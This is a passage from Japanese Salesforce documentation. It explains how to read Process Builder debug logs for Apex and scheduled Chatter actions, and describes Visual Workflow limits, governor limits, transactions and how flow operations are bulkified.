17:07:29.137 (137127000)|WF_FLOW_ACTION_BEGIN|

09Lxx000000000B
17:07:29.137 (137249000)|WF_FLOW_ACTION_DETAIL|

09Lxx000000000B|[Lead: L104 00Qxx000002S8vh]|Id=09Lxx000000000B|
CurrentRule:Apex_Say_Hello301xx000000001Y (Id=01Qxx0000002nea)

17:07:29.139 (139429000)|FLOW_CREATE_INTERVIEW_BEGIN|
00Dxx0000001gH6|300xx00000002cI|301xx000000001Y

17:07:29.140 (140996000)|FLOW_CREATE_INTERVIEW_END|
108a970cb7aeabf8804183a600514a3bb92516-7f92|Apex Say Hello 2

17:07:29.142 (142898000)|WF_FLOW_ACTION_DETAIL|Param Name: myVariable_current,
Param Value: ENCODED:{![treatNullAsNull]{!ID:this}},
Evaluated Param Value:{

LastModifiedByID=005xx000001SwUpAAK, LastTransferDate=2014-12-12 01:07:29,
ConnectionReceivedDate=null, LastModifiedDate=2014-12-12 01:07:29, LeadSource=null,

LastName=L104, NumberofLocations__c=null, NumberOfEmployees=null,
DandbCompanyId=null,

DoNotCall=false, Primary__c=null, CreatedByID=005xx000001SwUpAAK,
ConnectionSentDate=null,

MobilePhone=null, Jigsaw=null, Salutation=null, HasOptedOutOfEmail=false,
Country=null, LastViewedDate=null, ConvertedOpportunityId=null,

EmailBouncedReason=null,
Email=null, Rating=null, SICCode__c=null, CleanStatus=Pending,

CreatedById=005xx000001SwUpAAK,
IsDeleted=false, Longitude=null, Id=00Qxx000002S8vhEAC, Industry=null, Street=null,

Phone=null, IsConverted=false, EmailBouncedDate=null, HasOptedOutOfFax=false,
OwnerId=005xx000001SwUpAAK, AnnualRevenue=null, CompanyDunsNumber=null,

IsUnreadByOwner=true,
LastActivityDate=null, SystemModstamp=2014-12-12 01:07:29, ProductInterest__c=null,

Latitude=null, FirstName=null, PhotoUrl=null, Company=LC,
CampaignMemberStatus=null,

Description=null, LastReferencedDate=null, LastModifiedById=005xx000001SwUpAAK,

Website=null, Fax=null, InternalSource=0, City=null, Title=null,
MasterRecordId=null,

CampaignId=null, Status=Open - Not Contacted, JigsawContactId=null,
ConvertedDate=null,

PostalCode=null, State=null, CreatedDate=2014-12-12 01:07:29,
ConvertedContactId=null,

ConvertedAccountId=null, CurrentGenerators__c=null
}|
Param Name: myVariable_old,
Param Value: {!old},
Evaluated Param Value: null

次のセクションでは、プロセスの開始 (「LOW_START_INTERVIEWS_BEGIN」で示される) と、プロセスで定義
される条件を示します。「FLOW_RULE_」はプロセスの条件に常に対応し、「myRule_1」が「true」と評価
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されていることがわかります。「myRule_1」の数値は、プロセスの最初の条件に関連付けられたスケジュー
ル済みアクションのグループがプロセスで実行されていることを示します。
17:07:29.143 (143184000)|FLOW_START_INTERVIEWS_BEGIN|1
17:07:29.147 (147213000)|FLOW_START_INTERVIEW_BEGIN|

108a970cb7aeabf8804183a600514a3bb92516-7f92|Apex Say Hello 2
17:07:29.147 (147389000)|FLOW_VALUE_ASSIGNMENT|

108a970cb7aeabf8804183a600514a3bb92516-7f92|myVariable_old|
17:07:29.148 (148138000)|FLOW_VALUE_ASSIGNMENT|

108a970cb7aeabf8804183a600514a3bb92516-7f92|myVariable_current|{
LastModifiedByID=005xx000001SwUpAAK, LastTransferDate=2014-12-12 01:07:29,
ConnectionReceivedDate=null, LastModifiedDate=2014-12-12 01:07:29, LeadSource=null,

LastName=L104, NumberofLocations__c=null, NumberOfEmployees=null,
DandbCompanyId=null,

DoNotCall=false, Primary__c=null, CreatedByID=005xx000001SwUpAAK,
ConnectionSentDate=null,

MobilePhone=null, Jigsaw=null, Salutation=null, HasOptedOutOfEmail=false,
Country=null,

LastViewedDate=null, ConvertedOpportunityId=null, EmailBouncedReason=null,
Email=null,

Rating=null, SICCode__c=null, CleanStatus=Pending, CreatedById=005xx000001SwUpAAK,

IsDeleted=false, Longitude=null, Id=00Qxx000002S8vhEAC, Industry=null, Street=null,

Phone=null, IsConverted=false, EmailBouncedDate=null, HasOptedOutOfFax=false,
OwnerId=005xx000001SwUpAAK, AnnualRevenue=null, CompanyDunsNumber=null,

IsUnreadByOwner=true,
LastActivityDate=null, SystemModstamp=2014-12-12 01:07:29, ProductInterest__c=null,

Latitude=null, FirstName=null, PhotoUrl=null, Company=LC,
CampaignMemberStatus=null,

Description=null, LastReferencedDate=null, LastModifiedById=005xx000001SwUpAAK,
Website=null,

Fax=null, InternalSource=0, City=null, Title=null, MasterRecordId=null,
CampaignId=null,

Status=Open - Not Contacted, JigsawContactId=null, ConvertedDate=null,
PostalCode=null,

State=null, CreatedDate=2014-12-12 01:07:29, ConvertedContactId=null,
ConvertedAccountId=null,

CurrentGenerators__c=null
}

17:07:29.148 (148427000)|FLOW_ELEMENT_BEGIN|
108a970cb7aeabf8804183a600514a3bb92516-7f92|FlowDecision|myDecision

17:07:29.149 (149938000)|FLOW_RULE_DETAIL|
108a970cb7aeabf8804183a600514a3bb92516-7f92|myRule_1|true

17:07:29.149 (149976000)|FLOW_VALUE_ASSIGNMENT|
108a970cb7aeabf8804183a600514a3bb92516-7f92|myRule_1|true

17:07:29.150 (150050000)|FLOW_ELEMENT_END|
108a970cb7aeabf8804183a600514a3bb92516-7f92|FlowDecision|myDecision

5672

Lightning プロセスビルダーコードではなくてクリックによる Salesforce の拡張



このセクションでは、最初の条件のルール適用時のアクションが実行されます。「myRule_1_A1」という
名前の「A1」は、これがアクショングループの最初のアクションに対応することを示します。また、Apex

クラス「SayHello.sayHello」と、Apexクラスの実行の詳細もわかります。プロセスはエラーなく完了します。
17:07:29.150 (150117000)|FLOW_ELEMENT_BEGIN|

108a970cb7aeabf8804183a600514a3bb92516-7f92|FlowActionCall|myRule_1_A1
17:07:29.150 (150146000)|FLOW_ELEMENT_DEFERRED|

FlowActionCall|myRule_1_A1
17:07:29.150 (150194000)|FLOW_ELEMENT_END|

108a970cb7aeabf8804183a600514a3bb92516-7f92|FlowActionCall|myRule_1_A1
17:07:29.150 (150233000)|FLOW_START_INTERVIEW_END|

108a970cb7aeabf8804183a600514a3bb92516-7f92|Apex Say Hello 2

17:07:29.150 (150316000)|FLOW_BULK_ELEMENT_BEGIN|
FlowActionCall|myRule_1_A1

17:07:29.151 (151772000)|CODE_UNIT_STARTED|
[EXTERNAL]|01pxx00000000DN|SayHello.sayHello

17:07:29.153 (153773000)|METHOD_ENTRY|
[1]|01pxx00000000DN|SayHello.SayHello()

17:07:29.153 (153821000)|METHOD_EXIT|
[1]|SayHello

17:07:29.154 (154292000)|SYSTEM_CONSTRUCTOR_ENTRY|
[4]|<init>()

17:07:29.154 (154392000)|SYSTEM_CONSTRUCTOR_EXIT|
[4]|<init>()

17:07:29.154 (154564000)|SYSTEM_METHOD_ENTRY|
[5]|List<String>.add(Object)

17:07:29.154 (154748000)|SYSTEM_METHOD_EXIT|
[5]|List<String>.add(Object)

17:07:29.084 (154888000)|CUMULATIVE_LIMIT_USAGE
17:07:29.084|LIMIT_USAGE_FOR_NS|(default)|
Number of SOQL queries: 0 out of 100
Number of query rows: 0 out of 50000
Number of SOSL queries: 0 out of 20
Number of DML statements: 0 out of 150
Number of DML rows: 0 out of 10000
Maximum CPU time: 0 out of 10000
Maximum heap size: 0 out of 6000000
Number of callouts: 0 out of 100
Number of Email Invocations: 0 out of 10
Number of future calls: 0 out of 50
Number of queueable jobs added to the queue: 0 out of 50
Number of Mobile Apex push calls: 0 out of 10

17:07:29.084|CUMULATIVE_LIMIT_USAGE_END

17:07:29.154 (154949000)|CODE_UNIT_FINISHED|
SayHello.sayHello

17:07:29.155 (155090000)|FLOW_ACTIONCALL_DETAIL|
108a970cb7aeabf8804183a600514a3bb92516-7f92|myRule_1_A1|Call Apex|SayHello|true|

17:07:29.155 (155133000)|FLOW_VALUE_ASSIGNMENT|
108a970cb7aeabf8804183a600514a3bb92516-7f92|myRule_1_A1|true

17:07:29.155 (155268000)|FLOW_BULK_ELEMENT_END|
FlowActionCall|myRule_1_A1|0|4
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17:07:29.155 (155371000)|FLOW_START_INTERVIEWS_END|
1

17:07:29.159 (159563000)|WF_FLOW_ACTION_END|
09Lxx000000000B

17:07:29.159 (159787000)|WF_ACTIONS_END|
Flow Trigger: 1;

17:07:29.159 (159815000)|CODE_UNIT_FINISHED|
Workflow:Lead

17:07:29.161 (161221000)|EXECUTION_FINISHED

例: スケジュール済みの [Chatter に投稿] アクションを含むプロセスのデバッグ
この例では、プロセスのデバッグログのうち、スケジュール済みの [Chatterに投稿] アクションに関する部
分を取り上げます。
スケジュールは、常に「myWait_」で示されます。次のセクションでは、プロセスの実行スケジュール
「myWait_myRule_2」を示します。「FLOW_WAIT_」で開始するイベントも、プロセスのスケジュールに対
応します。
20:06:28.928 (928266000)|FLOW_ELEMENT_BEGIN|

345ad8ae889702ab70b5df5712b14a3c990e9d-7ea5|WaitInfo|myWait_myRule_2
20:06:28.928 (928302000)|FLOW_ELEMENT_DEFERRED|

WaitInfo|myWait_myRule_2
20:06:28.928 (928361000)|FLOW_ELEMENT_END|

345ad8ae889702ab70b5df5712b14a3c990e9d-7ea5|WaitInfo|myWait_myRule_2
20:06:28.929 (929671000)|FLOW_BULK_ELEMENT_BEGIN|

WaitInfo|myWait_myRule_2
20:06:29.005 (1005229000)|FLOW_WAIT_EVENT_WAITING_DETAIL|

345ad8ae889702ab70b5df5712b14a3c990e9d-7ea5|myWait_myRule_2|
myWaitEvent_myRule_2|alarmDateRef|true

20:06:29.005 (1005317000)|FLOW_VALUE_ASSIGNMENT|
345ad8ae889702ab70b5df5712b14a3c990e9d-7ea5|myWaitEvent_myRule_2|true

20:06:30.225 (2225117000)|FLOW_WAIT_WAITING_DETAIL|
345ad8ae889702ab70b5df5712b14a3c990e9d-7ea5|myWait_myRule_2|1|0Foxx0000000001

20:06:30.225 (2225362000)|FLOW_BULK_ELEMENT_END|
WaitInfo|myWait_myRule_2|0|1296

...

20:06:30.234 (2234916000)|WF_TIME_TRIGGERS_BEGIN
20:06:30.248 (2248007000)|WF_ACTIONS_END|

Flow Trigger: 1;
20:06:30.248 (2248072000)|CODE_UNIT_FINISHED|

Workflow:Lead
20:06:30.250 (2250129000)|EXECUTION_FINISHED

スケジュール済みアクションの場合、デバッグログにはスケジュール済みアクションの実行時における
追加ログが表示されます。これは、スケジュール済みの [Chatter に投稿] アクションの次の例に示すよう
に、デバッグログでは別のエントリになっています。スケジュールされた時間になると、自動化された
プロセスによりスケジュール済みアクションが実行されます。ログでは、ユーザのタイムゾーンではな
く、協定世界時 (UTC) が使用されます。ただし、アクションは、プロセスを最初に実行させたユーザとし
て実行されます。

5674

Lightning プロセスビルダーコードではなくてクリックによる Salesforce の拡張



「FLOW_WAIT_EVENT_RESUMING_DETAIL」は、プロセスでスケジュール済みアクションを実行できるように
するためインタビューが再開されることを示します。「alarmDateRef」は、このスケジュールが項目値を基
にしていることを示します。そして、[Chatter に投稿] アクションが実行されることがわかります。
00:14:10.466 (1418357225466561000)|FLOW_BULK_ELEMENT_BEGIN|

WaitInfo|myWait_myRule_2
00:14:10.469 (1418357225469327000)|FLOW_WAIT_EVENT_RESUMING_DETAIL|

345ad8ae889702ab70b5df5712b14a3c990e9d-7ea5|myWait_myRule_2|
myWaitEvent_myRule_2|alarmDateRef

00:14:10.469 (1418357225469412000)|FLOW_WAIT_RESUMING_DETAIL|
345ad8ae889702ab70b5df5712b14a3c990e9d-7ea5|myWait_myRule_2|
0Foxx000000000100:14:10.469 (1418357225469733000)|
FLOW_BULK_ELEMENT_END|WaitInfo|myWait_myRule_2|0|3

00:14:10.469 (1418357225469826000)|FLOW_ELEMENT_BEGIN|
345ad8ae889702ab70b5df5712b14a3c990e9d-7ea5|
FlowDecision|myPostWaitDecision_myRule_2

00:14:10.471 (1418357225471235000)|FLOW_RULE_DETAIL|
345ad8ae889702ab70b5df5712b14a3c990e9d-7ea5|myPostWaitRule_myRule_2|true

00:14:10.471 (1418357225471275000)|FLOW_VALUE_ASSIGNMENT|
345ad8ae889702ab70b5df5712b14a3c990e9d-7ea5|myPostWaitRule_myRule_2|true

00:14:10.471 (1418357225471348000)|FLOW_ELEMENT_END|
345ad8ae889702ab70b5df5712b14a3c990e9d-7ea5|
FlowDecision|myPostWaitDecision_myRule_2

00:14:10.471 (1418357225471441000)|FLOW_ELEMENT_BEGIN|
345ad8ae889702ab70b5df5712b14a3c990e9d-7ea5|
FlowActionCall|myRule_2_SA1

00:14:10.471 (1418357225471486000)|FLOW_ELEMENT_DEFERRED|
FlowActionCall|myRule_2_SA1

00:14:10.471 (1418357225471551000)|FLOW_ELEMENT_END|
345ad8ae889702ab70b5df5712b14a3c990e9d-7ea5|
FlowActionCall|myRule_2_SA1

00:14:10.471 (1418357225471624000)|FLOW_BULK_ELEMENT_BEGIN|
FlowActionCall|myRule_2_SA1

00:14:10.841 (1418357225841584000)|FLOW_ACTIONCALL_DETAIL|
345ad8ae889702ab70b5df5712b14a3c990e9d-7ea5|
myRule_2_SA1|Post to Chatter|chatterPost|true|
00:14:10.841 (1418357225841661000)|FLOW_VALUE_ASSIGNMENT|
345ad8ae889702ab70b5df5712b14a3c990e9d-7ea5|myRule_2_SA1|true

00:14:10.841 (1418357225841773000)|FLOW_BULK_ELEMENT_END|
FlowActionCall|myRule_2_SA1|0|370

関連トピック:

プロセスのトラブルシューティング
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Visual Workflow

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience
の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Visual Workflow では、フローを作成して適切なユーザまたはシステムに配布する
ことにより、ビジネスプロセスを自動化できます。フローは、ロジックの実行、
Salesforce データベースの操作、Apex クラスのコール、ユーザからのデータの収
集を行えるアプリケーションです。Cloud Flow Designerを使用して、フローを作成
できます。
フローには、ユーザ操作 (ウィザードやガイド付き UI でのデータ入力など) また
はバックグラウンドでの自動実行 (ユーザのロールが変更されたときの自動的な
レコード転送など) が必要です。

Visual Workflow の制限および考慮事項
フローを設計、管理、および実行する場合、権限、使用制限、およびデータ
の問題を検討します。
フローの作成
自動化するプロセスを理解したら、そのプロセスの Cloud Flow Designer でフローを設計します。
フローの管理
フローの詳細ページを使用して、フローの有効化、フローのテスト、フローのプロパティの表示など、フ
ローに関する設計以外の操作を行います。
フローの配布
フローバージョンを作成して有効化したら、ユーザに配布して実行できるようにします。適切な配布方法
は、フローの配布先となるユーザ (内部ユーザ、外部ユーザ、システム、またはその他の組織) によって異
なります。
フローインタビューに失敗した原因は?

失敗したフローインタビューをトラブルシューティングするには、フロー障害メールを使用します。一時
的な画面要素またはメールの送信要素を設定して、問題を特定することもできます。
フローインタビュー
フローインタビューは、フローの実行中のインスタンスです。フローは、システム管理者が作成するアプ
リケーションです。ユーザに入力を求め、その入力に基づいて Salesforce で処理を行います。
Visual Workflow の用語

関連トピック:

使用する自動化ツール
フローのビルディングブロック

ワークフローと Visual Workflow の違いは?
ワークフローとVisual Workflowは同じような名前ですが、ビジネスプロセスを自動化するための異なるSalesforce

機能です。
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ワークフロー
ワークフローでは、ワークフロールールを設定できます。ワークフロールールは、どのようなレコードが
変更または追加されたときに、指定したワークフローアクション (メールアラートの送信、レコード項目の
更新など) をトリガするかを特定します。
ワークフロールールおよびアクションは、特定のオブジェクトに関連付けられます。また、関連するマス
タレコードの項目を更新する場合にのみオブジェクトを横断できます。

Visual Workflow

Visual Workflow では、イベントではなくユーザによってトリガされるフローを作成できます。ルールおよび
アクションが常にバックグラウンドで実行されるワークフローとは異なり、Visual Workflow ではフローを実
行しているユーザに情報を表示してユーザから情報を収集する画面が表示されます。

メモ: ただし、フローをバックグラウンドで実行するためにワークフロールールを有効化できるパイ
ロットプログラムに参加できます。フロートリガワークフローアクションのパイロットプログラムは
終了します。組織でパイロットをすでに有効にしている場合は、引き続きフロートリガワークフロー
アクションを作成および編集できます。組織で パイロットを有効にしなかった場合は、代わりにプロ
セスビルダーの [フロー] アクションを使用します。

フローは特定のオブジェクトには関連付けられません。フローでは、複数のオブジェクトのレコードを検
索、作成、更新、削除できます。
Visual Workflowの「Visual」は、Cloud Flow Designerを使用してフローを視覚的に作成する機能を表しています。
このドラッグアンドドロップユーザインターフェースを使用すると、コードを記述せずにフローを作成で
きます。

関連トピック:

使用する自動化ツール
ワークフロー
Visual Workflow

Visual Workflow の制限および考慮事項

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

フローを設計、管理、および実行する場合、権限、使用制限、およびデータの
問題を検討します。

Visual Workflow の制限
Visual Workflowを使用するときは、フローの制限とApexガバナ制限に留意して
ください。
フローのベストプラクティス
フローの構築と配布を始める前に、ベストプラクティスを把握してくださ
い。
フロー設計の考慮事項
フローを設計するときは、次のガイドラインに留意してください。

5677

Visual Workflowコードではなくてクリックによる Salesforce の拡張



フローの管理の考慮事項
フローを管理する場合、管理および有効化の制限を考慮します。
フローの実行の考慮事項
フローを実行またはテストするときは、次の制限およびガイドラインに留意してください。
フローのアクセシビリティ
Visual Workflow は、米国リハビリテーション法第 508 条に準拠していますが、いくつかの例外があります。

関連トピック:

Cloud Flow Designer

Lightning ページのフロー (ベータ) の考慮事項と制限事項

Visual Workflow の制限

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Visual Workflow を使用するときは、フローの制限と Apex ガバナ制限に留意してく
ださい。

50フローあたりのバージョンの最大数
2,000実行時の要素の最大実行回数
500組織あたりの有効なフローとプロセスの最大数
1,000組織あたりのフローとプロセスの最大数
30,000一度に待機しているフローインタビューまたは (プロセスの)

スケジュール済みアクショングループの最大数
1,0001 時間あたりに再開されるフローインタビューまたは実行され

るスケジュール済みアクショングループの最大数
20,000プロセスの項目値に基づいてフローバージョンまたはスケ

ジュールで定義される相対時間のアラームの最大数

フローに影響する Apex ガバナ制限
Salesforce では、マルチテナント環境で回避フローが共有リソースを独占しないように、厳格に制限が適用
されます。Apex で適用されるトランザクション単位の制限により、フローが制限されます。要素によって
トランザクションがガバナ制限を超えた場合、システムはトランザクション全体をロールバックします。
要素に障害コネクタパスが定義されていても、トランザクションはロールバックします。
トランザクションのフロー
フローインタビューはそれぞれトランザクションのコンテキストで実行されます。トランザクションは、
1 つの単位として実行される一連の操作を表します。たとえば、トランザクションで、フローインタビュー
のほか、Apex トリガやエスカレーションルールを実行できます。トランザクションの 1 つのインタビュー
が失敗すると、そのトランザクションのすべてのインタビューと、トランザクションで行われた他のすべ
ての操作がロールバックされます。フローインタビューをはじめ、トランザクションの何らかの操作が再
試行されることはありません。
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トランザクションでのフローの一括処理
プログラマは、同様のアクションが 1 つのバッチでまとめて実行されるように独自のコードを設計できま
す。たとえば、50 回の操作でレコードを 1 つずつ作成するのではなく、1 回の操作で 50 のレコードを作成
します。このプロセスを一括処理といい、トランザクションでガバナ制限を回避できます。フローを使用
している場合、一括処理について考える必要はありません。フローインタビューでアクションが自動的に
一括処理されます。

関連トピック:

Visual Workflow

Visual Workflow の制限および考慮事項

フローに影響する Apex ガバナ制限

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Salesforce では、マルチテナント環境で回避フローが共有リソースを独占しない
ように、厳格に制限が適用されます。Apex で適用されるトランザクション単位
の制限により、フローが制限されます。要素によってトランザクションがガバ
ナ制限を超えた場合、システムはトランザクション全体をロールバックします。
要素に障害コネクタパスが定義されていても、トランザクションはロールバッ
クします。

トランザクション単位の制限
1

説明

100発行される SOQL クエリの合計数
(レコード更新、レコード削除、レコー
ド検索、および高速検索要素の実行)

50,000SOQL クエリによって取得されるレコー
ドの合計数
(トランザクション内のすべてのインタ
ビューで実行されるレコード更新、レ
コード削除、レコード検索、および高
速検索要素全体が対象)

150発行される DML ステートメントの合計
数
(レコード作成、レコード更新、レコー
ド削除、高速作成、高速更新、および
高速削除の実行)

10,000DML ステートメントの結果として処理
されるレコードの合計数

1 自動起動フローは、そのフローが起動された大量のトランザクションの一部です。たとえば、プロセスから
起動されたフローは、大量のトランザクションの一部としてプロセスアクションで実行されます。画面要素を
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含むフローは複数のトランザクションにまたがることがあります。ユーザが画面の[次へ]をクリックするたび
に新しいトランザクションが開始されます。待機要素を含むフローは複数のトランザクションにまたがりま
す。フローインタビューがイベントの待機を開始したときに、トランザクションは終了します。フローインタ
ビューが再開すると、新しいトランザクションが開始します。待機要素の後にあるものはすべて、再開された
他のインタビューを含む一括処理トランザクションの一部として実行されます。

関連トピック:

Apex 開発者ガイド: 実行ガバナと制限
Visual Workflow の制限

トランザクションのフロー
フローインタビューはそれぞれトランザクションのコンテキストで実行されます。トランザクションは、1 つ
の単位として実行される一連の操作を表します。たとえば、トランザクションで、フローインタビューのほ
か、Apex トリガやエスカレーションルールを実行できます。トランザクションの 1 つのインタビューが失敗す
ると、そのトランザクションのすべてのインタビューと、トランザクションで行われた他のすべての操作が
ロールバックされます。フローインタビューをはじめ、トランザクションの何らかの操作が再試行されること
はありません。
各トランザクションで、Salesforceは、共有リソースが枯渇することがないようにガバナ制限を適用します。複
数の Salesforce組織が同じリソースを共有するため、Salesforceは 1 つの組織がすべてのリソースを独占し、他の
組織がリソース不足に陥らないようにします。アパートで 1 つの貯水槽から各世帯に配水するしくみと似てい
ます。隣人が水を使い切ってしまったら、シャワーを浴びられなくなります (陳腐なたとえですが、お分かり
いただけるのではないでしょうか)。トランザクション単位のガバナ制限によって、こうしたリソース不足が
阻止されます。

フローのトランザクションの開始時点
フローの配布方法により、そのフローのインタビューを実行するトランザクションの開始方法が異なりま
す。
フローのトランザクションの終了時点
トランザクションの終了時点は、フローに特定の要素が含まれているかどうか、および元々の開始理由が
レコードの変更かどうかによって異なります。

関連トピック:

トランザクションでのフローの一括処理

フローのトランザクションの開始時点
フローの配布方法により、そのフローのインタビューを実行するトランザクションの開始方法が異なります。

トランザクションの開始時点配布方法

レコードが作成または更新されたときプロセスビルダー1

URL にアクセスしたときフロー URL
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トランザクションの開始時点配布方法

ボタンまたはリンクがクリックされたときカスタムボタンまたはカスタムリンク

ページにアクセスしたときVisualforce ページ

メソッドが before または after トリガによって開
始された場合は、レコードが作成または更新されたと
きにトランザクションが開始します。
それ以外の場合は、メソッド (または親メソッド) が呼
び出されたときにトランザクションが開始します。

Interview.start() メソッド

start() メソッドは、トランザクションの他の操作
およびクラスの他のメソッドと制限を共有します。

REST コールが行われたとき。REST コールの実装方法に
応じて、制限が他の操作と共有されることがありま
す。

REST API (カスタムアクションまたはフローリソース)

1 フローがワークフロールールによって配布される場合も同様です。フロートリガワークフローアクションの
パイロットプログラムは終了します。組織でパイロットをすでに有効にしている場合は、引き続きフロートリ
ガワークフローアクションを作成および編集できます。組織で パイロットを有効にしなかった場合は、代わ
りにプロセスビルダーの [フロー] アクションを使用します。

メモ: 画面要素または待機要素が実行されると、既存のトランザクションが終了し、新しいトランザク
ションが開始します。

フローのトランザクションの終了時点
トランザクションの終了時点は、フローに特定の要素が含まれているかどうか、および元々の開始理由がレ
コードの変更かどうかによって異なります。
トランザクションの終了時点:

• 画面要素または待機要素が実行されたとき
• 実行順序が完了したとき (レコードが作成または更新されたときにフローがトリガされた場合)

• トランザクションのすべてのインタビューが終了したとき

ヒント: フローのインタビューがトランザクション内のガバナ制限に達する可能性があると思われる場合
は、画面要素または待機要素を追加することを検討します。

特定のトランザクションで多くの操作が実行され、インタビューがその 1 つである場合、インタビューは他の
操作とトランザクションのガバナ制限を共有します。
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例: データローダで 100 件のケースを更新します。トランザクションの実行順序および組織のカスタマイ
ズによって、次の操作が実行されます。

使用する SOQL
クエリ

使用する DML
ステートメント

トランザクションの操作

データベースにケースが保存されますが、まだ確定されていま
せん。

1

ケースの割り当てルールが実行されます。各ケースの所有者が
更新されます。

2

ケースのエスカレーションルールが実行されます。ケースが 10

日間オープンの場合、所有者にメールが送信されます。
3

プロセスが開始されます。4

プロセスがケースの取引先を検索します。5

取引先が「見込み有り」の場合は、プロセスが Chatter を使用し
て、取引先に関連付けられた新しいケースがあることを取引先
所有者に通知します。

6

プロセスがフローインタビューを起動します。7

フローインタビューが、ケースの親取引先とその取引先が有す
るケースの件数を検索します。

8

フローインタビューが、取引先のオープンケースが 6 件以上かど
うかを確認します。

9

6 件以上の場合は、フローインタビューが取引先のディビジョン
マネージャを検索し、取引先のChatterフィードに投稿して、ディ
ビジョンマネージャと取引先所有者に通知します。

10

5 件以下の場合は、フローインタビューが取引先のChatterフィー
ドに投稿して、取引先所有者のみに通知します。

11

関連トピック:

Apex 開発者ガイド: トリガと実行順序

トランザクションでのフローの一括処理
プログラマは、同様のアクションが 1 つのバッチでまとめて実行されるように独自のコードを設計できます。
たとえば、50 回の操作でレコードを 1 つずつ作成するのではなく、1 回の操作で 50 のレコードを作成します。
このプロセスを一括処理といい、トランザクションでガバナ制限を回避できます。フローを使用している場
合、一括処理について考える必要はありません。フローインタビューでアクションが自動的に一括処理されま
す。
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フローの一括処理のしくみ
インタビューの操作は、同じ要素を実行する場合にのみ一括処理されます。つまり、インタビューがすべ
て同じフローに関連付けられる必要があります。
一括処理可能なフロー要素
フローでは、DML ステートメントまたは SOQL クエリを実行する要素や、フロー外の他の操作 (メール送信
など) を行う要素を一括処理できます。
フローの一括処理の例
次の例では、データローダで 100 件のケースが更新されるときに、フローの操作がどのように一括処理さ
れるかを示します。

関連トピック:

トランザクションのフロー

フローの一括処理のしくみ

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

インタビューの操作は、同じ要素を実行する場合にのみ一括処理されます。つ
まり、インタビューがすべて同じフローに関連付けられる必要があります。
1 つのトランザクションで同じフローの複数のインタビューが実行される場合、
インタビューはそれぞれ一括処理可能な要素に達するまで実行されます。Salesforce

は、同じ要素で停止したすべてのインタビューを対象に、これらの操作をイン
テリジェントにまとめて実行します。他のインタビューが別の要素で停止して
いれば、Salesforce はその後、これらの操作をインテリジェントにまとめて実行
します。Salesforce は、すべてのインタビューが終了するまでこのプロセスを繰
り返します。
一括処理であるにもかかわらず、いずれかのインタビューがガバナ制限に達し
た場合は、トランザクションのすべてのインタビューが失敗します。インタ
ビューが実行した操作がすべてロールバックされ、トランザクションの操作が再試行されることはありませ
ん。

例:  100 件のケースをアップロードする場合、MyFlow_2 というフローがケースごとに 1 つのインタビュー
をトリガします。
• 50 のインタビューがレコード作成要素 Create_Task_1 で停止します。
• 残りの 50 のインタビューはレコード作成要素 Create_Task_2 で停止します。
その結果、少なくとも 2 通りの一括操作が実行されます。
• 1 つは 50 のインタービューに対して Create_Task_1 を実行する操作です。
• 1 つは 50 のインタービューに対して Create_Task_2 を実行する操作です。
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一括処理可能なフロー要素

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

フローでは、DML ステートメントまたは SOQL クエリを実行する要素や、フロー
外の他の操作 (メール送信など) を行う要素を一括処理できます。
レコードを作成、更新、削除する要素

レコードの作成、更新、削除時に、トランザクションが DML ステートメント
を実行します。
• 作成要素 (レコードの作成、高速作成)

• 更新要素 (レコードの更新、高速更新)

• 削除要素 (レコードの削除、高速削除)

• クイックアクション要素
• Chatter への投稿要素
• 承認申請要素
• Apex 要素 — 組織によって異なります (呼び出し可能な Apex のみ)

レコードを検索する要素
レコードの項目が検索されると、トランザクションが SOQL クエリを実行します。
• 検索要素 (レコードの検索、高速検索)

• レコード更新要素
• レコード削除要素
• Apex 要素 — 組織によって異なります (呼び出し可能な Apex のみ)

メールを送信する要素
• メールの送信要素
• メールアラート要素
• Apex 要素 — 組織によって異なります (呼び出し可能な Apex のみ)

メモ:

• 呼び出し可能な Apex とは異なり、Apex プラグイン要素は一括処理されません。
• 呼び出し可能なApexは一括処理されますが、呼び出されたメソッドの操作が何かをフローが認識する

ことはありません。これらの操作も一括処理する場合は、一括処理のベストプラクティスに従って
コードを設計してください。

関連トピック:

Apex 開発者ガイド: ガバナ実行制限内での Apex の実行
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フローの一括処理の例

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

次の例では、データローダで 100 件のケースが更新されるときに、フローの操作
がどのように一括処理されるかを示します。

関連付けられたフロー
関連付けられたフローの設計を理解すれば、概念に対する理解が深まります。

フロー:

1. ケースの親取引先と、その取引先が有するオープンケースの件数を検索します。
2. 取引先のオープンケースが 6 件以上かどうかを確認します。
3. 取引先のオープンケースが 6 件以上の場合:

a. 取引先のディビジョンマネージャを検索します。
b. 取引先の Chatter フィードに投稿して、ディビジョンマネージャと取引先所有者に通知します。

4. 取引先のオープンケースが 5 件以下の場合は、取引先の Chatter フィードに投稿して、取引先所有者のみに
通知します。

一括処理されるインタビュー
レコードの更新時に、各ケースのフローインタビューが同時に作成されます。インタビューがすべて同じフ
ローに関連付けられます。インタビューはそれぞれ一括処理可能な要素に達するまで実行されます。
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最初のインタビューがレコード検索要素 (1) を処理します。レコード検索は一括処理が可能なため、インタ
ビューは他のすべてのインタビューが同じ処理を終了するまでこの時点で待機します。その後、Salesforce が、
すべてのレコード検索操作をまとめて実行します (すべて同じフローの同じ要素に対する操作のため)。トラン
ザクションで、100 件の SOQL クエリではなく、1 件の SOQL クエリが実行されます。
最初のインタビューが決定要素 (2)に評価されます。取引先にケースが 6 件あるため、インタビューが「6 件以
上」のパスに転送されます。インタビューが 2 つ目のレコード検索要素 (3a)に進みます。この要素も一括処理
